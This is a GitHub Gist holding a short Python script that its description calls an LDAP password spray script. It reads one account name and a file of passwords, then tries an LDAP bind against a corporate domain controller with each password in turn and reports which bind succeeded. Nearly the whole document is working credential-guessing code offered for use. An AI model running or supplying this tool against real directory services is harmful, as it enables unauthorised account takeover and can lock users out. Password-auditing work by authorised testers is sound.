Created
July 16, 2019 20:01
-
-
Save ag-michael/c6f8b87bc56f2e04e06dd9b8115ddde7 to your computer and use it in GitHub Desktop.
A very simply LDAP password spray script that validates passwords based on succesful ldap bind()
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ldap | |
import json | |
import sys | |
def ldapbrute(): | |
ldap_obj = ldap.initialize("ldaps://domaincontroller.corp.local") | |
ldap_obj.protocol_version = ldap.VERSION3 | |
ldap_obj.set_option(ldap.OPT_REFERRALS, 0) | |
passwords=[] | |
account=sys.argv[1] | |
with open(sys.argv[2]) as f: | |
passwords=f.read().splitlines() | |
for pwd in passwords: | |
try: | |
ldap_obj.simple_bind_s(account+"@corp.local", pwd) | |
print("bind worked!") | |
except Exception as e: | |
print(e) | |
continue | |
ldapbrute() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment